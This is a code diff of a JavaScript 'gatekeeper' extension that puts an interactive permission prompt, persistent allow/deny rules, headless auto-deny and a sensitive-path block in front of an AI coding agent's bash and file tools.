+ * Module-level session allow set — survives across `runPermissionGate` invocations within a
+ * single session, cleared by {@link sessionStartHandler} on the next session start. Unlike
+ * {@link ephemeralAllowList} (single-use, consumed on next match), entries here persist for the
+ * lifetime of the session so the developer is never re-prompted for the same command until they
+ * restart Pi/OMP.
+ *
+ * NOT exported as a binding (ESM live bindings are read-only from outside the module). Production
+ * code mutates it from inside the same module only; tests drive it indirectly via
+ * {@link sessionAllow} / {@link isSessionAllowed}.
+ */
+let sessionAllowList = new Set();
+/**
+ * Add `command` to the in-memory session allow set so every subsequent evaluation within this
+ * Pi/OMP session returns `{ allow: true }` without consulting the classifier or showing a prompt.
+ * Unlike {@link ephemeralAllow}, the entry persists for the session lifetime and is NOT consumed
+ * on match — the developer can reuse the command freely until restart.
+ * Exported so tests can seed the set directly without going through {@link runPermissionGate}.
+ */
+export function sessionAllow(command) {
+    sessionAllowList.add(command);
+}
+/**
+ * Returns `true` for any command currently in the session allow set WITHOUT removing the entry,
+ * so the rule stays active for the rest of the session. A second call with the same command also
+ * returns `true` — the entry is cleared only by {@link sessionStartHandler} or
+ * {@link setCurrentMode}.
+ */
+export function isSessionAllowed(command) {
+    return sessionAllowList.has(command);
+}
+/**
+ * Append `entries` to `list` (in place) using first-occurrence-wins dedup. Pure helper
+ * shared by {@link appendToAllowList} and {@link appendToDenyList} — both writers push
+ * entries onto a per-level pattern list and MUST preserve the
+ * "clicking-twice-doesn't-duplicate" contract (AC-005-04 / AC-005-05 first-match-wins).
+ */
+function appendUnique(list, entries) {
+    for (const entry of entries) {
+        if (entry.length === 0)
+            continue;
+        if (list.includes(entry))
+            continue;
+        list.push(entry);
+    }
+}
+/**
+ * Append every entry in `entries` to the current level's `allow` list in `perm-rules.json`,
+ * preserving the deny-by-default safety floor (Constitution §1.4 v0.4.0). Follows the ISS-004
+ * atomic-rename read-then-write pattern so:
+ *
+ *   - `loadRules(ctx)` re-reads from disk (manual edits between prompt render and click are
+ *     honored, per FR-011 live-reload contract).
+ *   - Only the CURRENT level's `allow` array is mutated; the safety-floor `low.deny` defaults
+ *     and any user-added deny entries are preserved verbatim across the write.
+ *   - Dedup via {@link appendUnique} so re-clicking "Allow Always" on the same compound
+ *     command does NOT duplicate entries (first occurrence wins).
+ *
+ * File-local (NOT exported) — driven exclusively via {@link runPermissionGate}'s "allow-always"
+ * branch. Accepts the full allowlist-entry array (not just the trimmed command) per the
+ * AC-005-04 SEGMENT PERSISTENCE contract: every entry from {@link getAllowListEntries} — the
+ * parsed segments AND the full trimmed command — must land on disk after an "Allow Always" click
+ * so the developer doesn't need to repeat the prompt for each individual segment.
+ *
+ * **API asymmetry note**: this writer takes `readonly string[]` (the full
+ * {@link getAllowListEntries} output) because "Allow Always" persists BOTH the trimmed
+ * compound command AND every parsed segment — a compound `rm x && cat /tmp/junk` allows
+ * the whole compound plus each individual piece in one click. {@link appendToDenyList}
+ * is intentionally narrower: "Deny" persists only the literal compound command (a deny
+ * is ambiguous if broken into per-segment denies — the developer chose to block the
+ * exact compound, so the on-disk rule must match the prompt verbatim).
+ */
+function appendToAllowList(entries, ctx) {
+    const rules = loadRules(ctx);
+    const mode = getCurrentMode();
+    appendUnique(rules.rules[mode].allow, entries);
+    saveRules(getRulesPath(), rules, ctx);
+}
+/**
+ * Append `command` to the current level's `deny` list in `perm-rules.json`, mirroring the
+ * read-then-write + dedup + safety-floor-preservation contract from {@link appendToAllowList}.
+ * Cascade direction (FLOW-10) is a READ-time concern in {@link classifySegment}; this writer
+ * mutates only the CURRENT level, so the developer-facing "Deny" choice is scoped exactly to
+ * the active permission level.
+ *
+ * **API asymmetry note** (see {@link appendToAllowList} for the full rationale): this writer
+ * takes a single `command` string rather than a `readonly string[]`. "Deny" persists only the
+ * literal compound command — splitting a deny into per-segment entries would be ambiguous
+ * (a `rm x && cat /tmp/junk` deny would create two rules that future explicit-level denials
+ * can override independently, breaking FLOW-10 cascade integrity). The asymmetry is deliberate;
+ * the `readonly string[]` shape would surface an invariant violation at the type system.
+ */
+function appendToDenyList(command, ctx) {
+    const rules = loadRules(ctx);
+    const mode = getCurrentMode();
+    appendUnique(rules.rules[mode].deny, [command]);
+    saveRules(getRulesPath(), rules, ctx);
+}
+/**
+ * Headless-safety short-circuit helper shared by {@link promptForPermission} and
+ * {@link runPermissionGate}. Returns `true` when the caller should treat the request as
+ * auto-denied because `ctx.hasUI === false`; in that case surfaces the {@link BLOCKED_HEADLESS_MESSAGE}
+ * notification through the (optional) `ctx.ui` surface — guarded through an `if (ctx.ui)`
+ * check so a runtime that omits the UI entirely does not throw. Returns `false` whenever
+ * UI is available so the caller continues down its normal pipeline.
+ */
+function checkHeadlessShortCircuit(ctx) {
+    if (ctx.hasUI)
+        return false;
+    if (ctx.ui)
+        ctx.ui.notify(BLOCKED_HEADLESS_MESSAGE, "warning");
+    return true;
+}
+/**
+ * Three-choice `ctx.ui.select` prompt rendered when the classifier yields `ask`. Surfaces the
+ * FLOW-07 "developer saw every distinct command" preview verbatim by inlining
+ * {@link getAllowListEntries}'s output into the message body.
+ *
+ * Returns `"allow-once" | "allow-session" | "allow-always" | "deny"` on the four documented
+ * user choices, OR `null` when the prompt could not be shown at all (missing UI, thrown
+ * `ctx.ui.select`, unexpected return value). The `null` return is critical: it lets the
+ * orchestrator distinguish "user actively chose Deny" (which should persist per FLOW-08 Step 4)
+ * from "prompt blew up, deny conservatively without persistence" (Constitution §1.6 — a failed
+ * prompt MUST NOT silently persist anything to `perm-rules.json`).
+ */
+async function promptForPermission(reason, command, ctx) {
+    if (checkHeadlessShortCircuit(ctx))
+        return null;
+    if (typeof ctx.ui?.select !== "function") {
+        if (ctx.ui)
+            ctx.ui.notify("Prompt unavailable; defaulting to deny", "warning");
+        return null;
+    }
+    const entries = getAllowListEntries(command);
+    const preview = entries.length > 0 ? entries.join(", ") : "(no segments)";
+    const message = `[${reason}]\n\nCommand: ${command}\n\nWill allow: ${preview}`;
+    try {
+        const items = ["Allow Once", "Allow This Session", "Allow Always", "Deny"];
+        const selected = await ctx.ui.select(message, items);
+        if (selected === undefined)
+            return null;
+        const result = {
+            "Allow Once": "allow-once",
+            "Allow This Session": "allow-session",
+            "Allow Always": "allow-always",
+            Deny: "deny",
+        };
+        return result[selected] ?? null;
+    }
+    catch {
+        if (ctx.ui)
+            ctx.ui.notify("Prompt failed; defaulting to deny", "warning");
+        return null;
+    }
+}
+/**
+ * Four-branch permission gate — the user-visible keystone for FLOW-07 (interactive prompt),
+ * FLOW-08 (scope: ephemeral / persist-allow / persist-deny), and FLOW-11 (headless auto-deny).
+ *
+ * Pipeline:
+ *   1. Off-mode bypass (FLOW-06) — `currentMode === "off"` returns `{ allow: true }` immediately,
+ *      skipping both the classifier and the prompt. The type-checker treats `currentMode` as
+ *      `PermissionLevel` (excludes "off"); the test-only `setCurrentMode("off")` cast forces
+ *      "off" through, and the local alias `RuntimePermissionLevel` below widens the comparison
+ *      back without weakening any static surface.
+ *   2. Session allow check — `isSessionAllowed(command)` returns `true` when the command was
+ *      previously approved via "Allow This Session" for the rest of this session. Non-consuming,
+ *      so repeated invocations of the same command reuse the same session-level token without
+ *      re-prompting or persisting to disk.
+ *   3. Ephemeral check (FLOW-08 Step 1) — `isEphemeralAllowed(command)` is consume-on-match, so
+ *      a single "Allow Once" click is honored exactly once on the immediate next evaluation.
+ *   4. Classifier (FLOW-07 routing) — `classifyCommand` yields `allow` / `deny` / `ask`; the
+ *      `deny` branch short-circuits past the prompt per FLOW-07 ("deny is automatic"), the
+ *      `ask` branch falls through to the prompt handler.
+ *   5. Prompt (FLOW-07 Step 4) — only reached when the classifier yields `ask` AND
+ *      `ctx.hasUI === true`. On `allow-session` the gate seeds the session-level set; on
+ *      `allow-once` the gate seeds the ephemeral set; on `allow-always` the gate persists the
+ *      full {@link getAllowListEntries} list (not just the trimmed command) per the AC-005-04
+ *      segment-persistence contract; on `deny` the gate persists the command to the current
+ *      level's deny list.
+ *
+ * Headless safety (FLOW-11): when `ctx.hasUI === false`, the `ask` branch surfaces
+ * `BLOCKED (headless)` via `ctx.ui?.notify` (guarded through optional chaining so a runtime
+ * that omits the UI surface entirely does not throw) and returns `{ allow: false }`.
+ */
+export async function runPermissionGate(command, ctx) {
+    // (0) Strip leading env-var assignments — transient `VAR=value` prefixes (e.g.
+    // `PLAN_TARGET=/tmp/foo ~/.claude/skills/commit/commit.sh post`) are shell-level
+    // environment overrides, not part of the actual command being classified. Stripping
+    // them early ensures the classifier, allowlist rules, ephemeral/session checks, and
+    // prompt preview all work against the executable command string. The stripped command
+    // replaces `command` for the rest of this function.
+    const resolvedCommand = stripLeadingEnvAssignments(command);
+    // (1) Off-mode bypass — FLOW-06. `currentMode` is typed as `PermissionLevel`, so the
+    // `"off"` runtime state is surfaced through the {@link RuntimePermissionLevel} alias
+    // at this single comparison site; the rest of the module can keep the strict
+    // `PermissionLevel` contract (so `MODE_LABELS`, `classifyCommand`, and `appendUnique`
+    // keys stay narrow). Production callers reach "off" exclusively through
+    // `setCurrentMode("off")` (the test seam).
+    const runtimeMode = currentMode;
+    if (runtimeMode === "off") {
+        return { allow: true };
+    }
+    // (2) Session allow check — persists across the session without consuming on match.
+    if (isSessionAllowed(resolvedCommand)) {
+        return { allow: true };
+    }
+    // (3) Ephemeral check — FLOW-08 Step 1 (consume-on-match).
+    if (isEphemeralAllowed(resolvedCommand)) {
+        return { allow: true };
+    }
+    // (3) Classifier routing.
+    const mode = getCurrentMode();
+    const rules = loadRules(ctx);
+    const decision = classifyCommand(resolvedCommand, mode, rules);
+    if (decision.decision === "allow") {
+        return { allow: true };
+    }
+    if (decision.decision === "deny") {
+        if (ctx.hasUI && ctx.ui) {
+            ctx.ui.notify(`Blocked: ${decision.reason}`, "warning");
+        }
+        return { allow: false };
+    }
+    // (5) Prompt branch — classifier yielded "ask".
+    // (4a) Headless short-circuit (FLOW-11).
+    if (checkHeadlessShortCircuit(ctx)) {
+        return { allow: false };
+    }
+    const choice = await promptForPermission(decision.reason, resolvedCommand, ctx);
+    if (choice === null) {
+        // Prompt could not be shown (missing UI, thrown `ctx.ui.select`, unexpected return value).
+        // Fail closed per Constitution §1.6 ("never block waiting for interactive input") WITHOUT
+        // persisting anything — the user didn't actively choose Deny, so a thrown / unavailable
+        // prompt must not silently append a deny entry to `perm-rules.json`.
+        return { allow: false };
+    }
+    if (choice === "allow-session") {
+        const entries = getAllowListEntries(resolvedCommand);
+        for (const entry of entries) {
+            sessionAllow(entry);
+        }
+        return { allow: true };
+    }
+    if (choice === "allow-once") {
+        ephemeralAllow(resolvedCommand);
+        return { allow: true };
+    }
+    if (choice === "allow-always") {
+        const entries = getAllowListEntries(resolvedCommand);
+        appendToAllowList(entries, ctx);
+        return {
+            allow: true,
+            persistWrite: { level: mode, action: "allow", pattern: resolvedCommand },
+        };
+    }
+    if (choice === "deny") {
+        appendToDenyList(resolvedCommand, ctx);
+        return {
+            allow: false,
+            persistWrite: { level: mode, action: "deny", pattern: resolvedCommand },
+        };
+    }
+    // Defensive fallback — `promptForPermission` returns `"allow-once" | "allow-session" |
+    // "allow-always" | "deny" | null`, and the five branches above cover all of them. The
+    // explicit `return` keeps TypeScript's exhaustiveness check honest and documents the
+    // conservative-deny default if a future refactor adds a new return value without updating
+    // this switch.
+    return { allow: false };
+}
+/** ─── Bash Tool (TSK-005-03 / ISS-005) ─── */
+/**
+ * TypeBox parameter schema for the registered `bash` tool. Mirrors the upstream Pi/OMP
+ * built-in `bash` tool's input shape (`{ command: string }`) so the LLM sees a familiar
+ * surface. The schema is the gatekeeper's single source of truth for the bash tool's
+ * parameters — it is exported (transitively via the bash tool registration) so future
+ * shards can extend the schema (e.g. `cwd`, `timeout`) without re-declaring the literal
+ * type.
+ */
+const BASH_TOOL_PARAMETERS = Type.Object({
+    command: Type.String({ description: "Shell command to execute" }),
+});
+/**
+ * User-visible description of the registered `bash` tool — surfaced to the LLM in the
+ * tool-selection prompt and to the developer in `/help`. Centralized so a future rename
+ * or policy update (e.g. adding the mode-gate caveat) flows from a single edit to the
+ * registration call and the matching test assertions.
+ */
+const BASH_TOOL_DESCRIPTION = "Execute a shell command. The gatekeeper permission gate runs BEFORE dispatch; denied commands return a BLOCKED result without invoking the shell.";
+/**
+ * Execute a single bash command after the gatekeeper permission gate has approved it.
+ * Wraps `node:child_process.exec` via `promisify` so the returned promise resolves on
+ * process exit (success or non-zero exit code) and rejects on spawn failure
+ * (ENOENT-style errors). Stdout and stderr are merged into a single `stdout` field per
+ * the upstream `BashResult` contract.
+ *
+ * Not used by any test in the current shard — wired here so the bash tool's happy path
+ * (after `runPermissionGate` returns `{ allow: true }`) actually executes the command
+ * rather than returning an empty stub. The BLOCKED / denied-command paths are pinned by
+ * the foundation-shard wiring tests.
+ */
+function execBash(command, cwd) {
+    return execAsync(command, { cwd });
+}
+/**
+ * Build a `BashExecuteResult` from a finalized text payload. Centralized so the four
+ * return sites in {@link bashExecute} (non-string guard, gate-deny, exec-failure, success)
+ * share a single declaration of the `content: [{ type: "text", text }]` + `details: undefined`
+ * + `output: text` + `isError` shape — the duplication was an obvious Extract-Function
+ * candidate once the GREEN-phase hand-rolled returns landed in a 4-way cascade.
+ */
+function buildBashResult(text, isError) {
+    return {
+        content: [{ type: "text", text }],
+        details: undefined,
+        output: text,
+        isError,
+    };
+}
+/**
+ * Execute handler for the registered `bash` tool. The integration keystone for FLOW-07
+ * (interactive prompt via the gate), FLOW-08 (ephemeral / persist-allow / persist-deny),
+ * FLOW-10 (cascade direction), and FLOW-11 (headless BLOCKED). Routes every invocation
+ * through `runPermissionGate` BEFORE dispatching the shell so a denied command never
+ * reaches `child_process.exec`.
+ *
+ * Pipeline:
+ *   1. Defensive guard — `typeof input.command !== "string"` returns BLOCKED immediately
+ *      so a malformed tool payload (number, object, null, undefined) never reaches the
+ *      classifier. This pins the "bash tool is a typed seam" contract — anything Pi/OMP
+ *      passes through is string-validated before the gate.
+ *   2. `runPermissionGate` — the orchestrator from ISS-005 that combines ephemeral
+ *      allow-once, classifier routing (deny > ask > allow), the three-choice prompt,
+ *      and headless auto-deny. The gate runs FIRST; only an `{ allow: true }` decision
+ *      proceeds to shell dispatch.
+ *   3. Shell dispatch — `execBash` invokes the command in `ctx.cwd` and returns the
+ *      merged stdout/stderr payload. A shell-spawn failure surfaces through the
+ *      `catch` arm with `isError: true` so the LLM sees a structured error rather than
+ *      a thrown promise.
+ *
+ * Source anchor: `tasks.md TSK-005-03` (bash tool registration + execute handler).
+ */
+async function bashExecute(_toolCallId, params, _signal, _onUpdate, ctx) {
+    // (1) Defensive non-string guard — a malformed tool payload (number, object, null,
+    // undefined) never reaches the gate. Returns BLOCKED with isError: true so the LLM
+    // surfaces a structured error to the developer.
+    if (typeof params.command !== "string") {
+        return buildBashResult("BLOCKED: bash tool command must be a string", true);
+    }
+    // (2) Permission gate — classifier + prompt + persistence routing. The gate runs BEFORE
+    // shell dispatch so a denied command never reaches `child_process.exec`.
+    const decision = await runPermissionGate(params.command, ctx);
+    if (!decision.allow) {
+        return buildBashResult(`BLOCKED: ${params.command}`, true);
+    }
+    // (3) Shell dispatch — gate approved; run the command in `ctx.cwd` and surface the
+    // merged stdout/stderr payload. A spawn failure (ENOENT, EACCES, etc.) is caught and
+    // returned as a structured error result so the LLM sees a normalized shape.
+    try {
+        const { stdout, stderr } = await execBash(params.command, ctx.cwd);
+        const text = stderr && stderr.length > 0 ? `${stdout}${stdout ? "\n" : ""}${stderr}` : stdout;
+        return buildBashResult(text, false);
+    }
+    catch (err) {
+        const message = err instanceof Error ? err.message : String(err);
+        return buildBashResult(`BLOCKED: shell exec failed: ${message}`, true);
+    }
+}
+/**
+ * The single `ToolDefinition` registered by the foundation shard's default-export
+ * wiring (TSK-005-03 / ISS-005). The agent-facing seam that turns the Phase-2
+ * `runPermissionGate` orchestrator into something the LLM actually invokes. Tests
+ * pin the integration end-to-end via `bashHandle.pi.registerTool.mock.calls[0][0]`
+ * (`test/foundation.test.ts` "bash tool — execute handler integration").
+ */
+const BASH_TOOL_DEFINITION = {
+    name: "bash",
+    label: "Bash",
+    description: BASH_TOOL_DESCRIPTION,
+    parameters: BASH_TOOL_PARAMETERS,
+    execute: bashExecute,
+};
+/** ─── Extension Entry Point (TSK-001-08) ─── */
+/**
+ * User-visible description surfaced in pi/omp's `--help` output for the `--perm-mode` flag. Centralized so a future rename
+ * of the flag or its valid values flows from one edit to the registration call and the matching test assertion.
+ */
+const PERM_MODE_FLAG_DESCRIPTION = "Default permission mode for the current session (low / medium / high). Overrides the persisted value without rewriting it.";
+/**
+ * User-visible description surfaced in pi/omp's `/help` listing for the `/perm` slash command. Kept in lock-step with the
+ * subcommand catalogue {@link PERM_SUBCOMMANDS} so the help text matches the supported subcommands.
+ */
+const PERM_COMMAND_DESCRIPTION = "Switch the active permission level (low / medium / high) or print the resolved allowlist path and current rules.";
+/**
+ * `session_start` handler registered by {@link gatekeeper}. Sequences the four bootstrap steps in canonical order:
+ *   1. {@link loadRules} — populates the in-memory `rules` cache from disk (or bundled defaults on first run) and surfaces
+ *      malformed payloads via `ctx.ui.notify("warning")` per `loadRules`'s documented contract.
+ *   2. Mirror `currentMode` from the loaded `rules.currentMode` (or leave the module default `medium` if the file is malformed
+ *      and `currentMode` is `null`).
+ *   3. {@link applyFlagOverride} — consults `pi.getFlag(PERM_MODE_FLAG_NAME)` and overrides `currentMode` for this session only.
+ *      The persisted file is never written from this path (AC-001-03 contract).
+ *   4. {@link updateStatus} — renders the resolved level on the TUI footer (FLOW-04 Step 4 + FLOW-05 `level_change_latency_ms` <= 100 ms).
+ *
+ * Flow references: FLOW-04 Step 4 (status indicator appears), FLOW-05 Step 3 (status updates), FLOW-09 (manual rules discovery is
+ * primed by the persisted level that this handler mirrors).
+ */
+function sessionStartHandler(pi) {
+    return (_event, ctx) => {
+        rules = loadRules(ctx);
+        if (isPermissionLevel(rules.currentMode)) {
+            currentMode = rules.currentMode;
+        }
+        // ISS-005 (TSK-005-02): clear the ephemeral and session allow sets so a long-lived Pi/OMP
+        // runtime that outlives a single developer session does not carry stale "Allow Once" or
+        // "Allow This Session" unlocks forward. Both sets are re-seeded only by fresh clicks in
+        // the new session.
+        ephemeralAllowList = new Set();
+        sessionAllowList = new Set();
+        applyFlagOverride(pi);
+        updateStatus(ctx);
+    };
+}
+/**
+ * `tool_call` handler registered by {@link gatekeeper} for live reload (FR-011).
+ * Calls {@link loadRules} before every tool-call evaluation so manual edits to
+ * `perm-rules.json` take effect immediately without a restart.
+ *
+ * Pass-through contract:
+ *   - Returns `undefined` (never blocks the tool-call chain — permission enforcement
+ *     is reserved for ISS-006).
+ *   - Never calls `ctx.ui.notify` at "denied" level.
+ *   - `loadRules` will call `ctx.ui.notify` at "warning" level only when the JSON
+ *     is malformed, falling back to the last valid rules in memory.
+ *
+ * Flow references: FR-011 (ISS-004 Rule Live Reload). Serves FLOW-09 Step 4
+ * (gatekeeper reloads the file on the next tool-call evaluation) and FLOW-04 Step 3
+ * (extension registers a tool-call hook on the next pi/omp launch). FLOW-10 cascade
+ * integrity is preserved because the hook only reads, never writes.
+ */
+function toolCallHandler(_event, ctx) {
+    try {
+        loadRules(ctx);
+    }
+    catch (err) {
+        // Best-effort: an unexpected I/O error (EXDEV cross-device rename, EIO, etc.) during
+        // loadRules' bootstrap path must not propagate through Pi/OMP's event subscriber chain.
+        // Notify the developer so they can investigate filesystem state, then return undefined
+        // (pass-through) so the chain continues to ISS-006's sensitive-path guard.
+        ctx.ui.notify(`perm-rules.json reload failed: ${err.message}`, "warning");
+    }
+}
+/**
+ * Extract the `path` field from the built-in read / edit / write tool events,
+ * or `undefined` for any other tool name or for events whose `input.path`
+ * is not a string.
+ *
+ * The tool-name check is RUNTIME (`event.toolName === "..."`), not type
+ * narrowing, because `CustomToolCallEvent.toolName` is typed `string` per
+ * `extension-api/types.d.ts:733-734` and would otherwise overlap with the
+ * built-in tool-name literals. The runtime strict-equality gate is what
+ * distinguishes `read` / `edit` / `write` from every other tool name
+ * (`bash`, `grep`, `find`, `ls`, custom tools), keeping the documented
+ * "bash passes through" known gap (HITL-003 / RSK-003 / `design.md:113`
+ * CV-3) intentional, NOT a regression.
+ *
+ * The `input.path` cast to `{ path?: unknown }` plus `typeof === "string"`
+ * gate is the safe-rather-than-sorry equivalent of trusting the static type
+ * — a missing / `null` / non-string path (malformed custom tool payload
+ * that happens to overlap with the tool-name literal) falls through to
+ * `undefined` so the caller never false-blocks on unparseable input.
+ */
+function extractPathFromToolCall(event) {
+    const { toolName } = event;
+    if (toolName !== "read" && toolName !== "edit" && toolName !== "write") {
+        return undefined;
+    }
+    const { path } = event.input;
+    return typeof path === "string" ? path : undefined;
+}
+/**
+ * ISS-006: Sensitive Path Guard — `tool_call` handler that blocks
+ * `read` / `edit` / `write` of any path classified sensitive by
+ * {@link isSensitivePath}. Returns `{ block: true, reason }` on a match
+ * or `undefined` for pass-through. Registered by {@link gatekeeper} after
+ * the ISS-004 live-reload handler so Pi/OMP iterates subscribers in
+ * registration order.
+ *
+ * Policy (pinned by `test/sensitive-path.test.ts` AC-007-XX + edge-case
+ * describes):
+ *   - **Tool-name gate** ({@link extractPathFromToolCall}) — only
+ *     `read` / `edit` / `write` are evaluated; everything else passes
+ *     through (the `bash` gap is intentional per HITL-003 / RSK-003).
+ *   - **Skill-script short-circuit** (US-021) — {@link SKILL_SCRIPT_PATTERN}
+ *     runs BEFORE the pattern scan so a skill script whose filename would
+ *     match (e.g. `/skills/.env-helper.sh`) still passes through.
+ *   - **Mode-independent** (US-020 / AC-007-05) — this handler does NOT
+ *     consult `currentMode`; the guard is a cross-cutting security
+ *     invariant (Constitution §1.4) that runs in every permission level.
+ *   - **Headless safety** (Constitution §1.6) — the block decision fires
+ *     regardless of `ctx.hasUI`; the user-visible notify is gated through
+ *     {@link notifySensitivePathBlock} which is a no-op when UI is absent.
+ *
+ * Flow references: `[]` (cross-cutting; no dedicated FLOW-XX per
+ * `architecture.md:143`). AC-007-XX pinned via explicit named tests.
+ */
+function sensitivePathToolCallHandler(event, ctx) {
+    const path = extractPathFromToolCall(event);
+    if (path === undefined)
+        return undefined;
+    if (SKILL_SCRIPT_PATTERN.test(path))
+        return undefined;
+    const { match, label } = isSensitivePath(path);
+    if (!match)
+        return undefined;
+    notifySensitivePathBlock(path, ctx);
+    return { block: true, reason: `Sensitive path: ${label}` };
+}
+/**
+ * Pi/OMP extension entry point — registers the foundation-shard surfaces:
+ *   - `pi.on("session_start", handler)` -> {@link sessionStartHandler}
+ *     (FLOW-04 Step 3 — registers a session-start hook on next pi/omp launch)
+ *   - `pi.on("tool_call", handler)` -> {@link toolCallHandler}
+ *     (FR-011 / ISS-004: live-reload rules before every tool-call evaluation —
+ *      pass-through, refreshes the in-memory rules cache so manual edits take effect
+ *      without a restart)
+ *   - `pi.on("tool_call", handler)` -> {@link sensitivePathToolCallHandler}
+ *     (FR-007 / ISS-006: sensitive-path blocking — returns `{ block: true, reason }`
+ *      on match, or `undefined` for pass-through. Mode-independent; runs in every
+ *      permission level; headless-safe.)
+ *   - `pi.registerFlag(PERM_MODE_FLAG_NAME, ...)` -> `--perm-mode <low|medium|high>`
+ *     (FLOW-04 CLI override — per-session mode override without rewriting the persisted file)
+ *   - `pi.registerCommand("perm", { handler: permCommandHandler, ... })`
+ *     (FLOW-05 `/perm` cycle + FLOW-09 `/perm allowlist` discovery)
+ *   - `pi.registerTool(BASH_TOOL_DEFINITION)` -> `bash` tool
+ *     (ISS-005 / TSK-005-03: agent-facing bash execute handler — registered LAST so the
+ *      live-reload cache refresh and bash registration order are decoupled.)
+ *
+ * Registration order within each Pi/OMP subscription kind matters:
+ * Pi/OMP iterates all `tool_call` subscribers in registration order
+ * (`extension-api/types.d.ts:664-666`). The two `tool_call` handlers are ordered so the
+ * live-reload cache refresh (ISS-004) runs first, then the sensitive-path guard (ISS-006)
+ * sees fresh state. Order tests in `test/foundation.test.ts` (`extension entry-point wiring`)
+ * pin every structural invariant — handler count, handler position, call-order chain.
+ * The `tool_call subscription ordering` describe in `test/sensitive-path.test.ts` pins the
+ * exact-2 count and order so a future register-order swap is intentional and tested.
+ *
+ * Flow references: FLOW-04 (install) + FLOW-05 (switch level) + FLOW-09 (manage rules manually).
+ * Every prior shard's helpers (`loadRules`, `updateStatus`, `cycleMode`, `applyFlagOverride`,
+ * `permCommandHandler`, `showAllowlist`) become reachable only after this default export wires
+ * them onto the ExtensionAPI.
+ */
+/**
+ * Module-level ExtensionAPI reference, captured once at extension load. Used by
+ * {@link updateStatus} to emit the `perm:changed` event on the shared extension
+ * event bus so the footer extension (which subscribes to this event) can update
+ * the circle indicator without polling the filesystem.
+ */
+let piRef;
+export default function gatekeeper(pi) {
+    piRef = pi;
+    // Schema upgrade: if the on-disk perm-rules.json version is older than the bundled defaults,
+    // back up the old file and re-bootstrap. This ensures improvements like expanded `low.allow`
+    // entries automatically take effect on extension load without manual deletion.
+    try {
+        const rulesPath = getRulesPath();
+        if (existsSync(rulesPath)) {
+            const raw = readFileSync(rulesPath, "utf8");
+            const parsed = JSON.parse(raw);
+            const bundledVersion = JSON.parse(readFileSync(DEFAULT_RULES_PATH, "utf8"));
+            if (typeof parsed.version === "number" && parsed.version < bundledVersion.version) {
+                renameSync(rulesPath, `${rulesPath}.v${parsed.version}.bak`);
+                bootstrapRulesAt(rulesPath);
+            }
+        }
+    }
+    catch {
+        // Migration failure is non-fatal — the stale file stays on disk and
+        // loadRules will handle it gracefully via malformed-file fallback.
+    }
+    pi.on("session_start", sessionStartHandler(pi));
+    // registered FIRST — live-reload cache refresh
+    pi.on("tool_call", toolCallHandler);
+    // registered SECOND — sensitive-path guard
+    pi.on("tool_call", sensitivePathToolCallHandler);
+    pi.registerFlag(PERM_MODE_FLAG_NAME, {
+        description: PERM_MODE_FLAG_DESCRIPTION,
+        type: "string",
+        default: "medium",
+    });
+    pi.registerCommand("perm", {
+        description: PERM_COMMAND_DESCRIPTION,
+        handler: permCommandHandler,
+    });
+    // registered LAST — bash execute handler
+    pi.registerTool(BASH_TOOL_DEFINITION);
+}
+//# sourceMappingURL=gatekeeper.js.map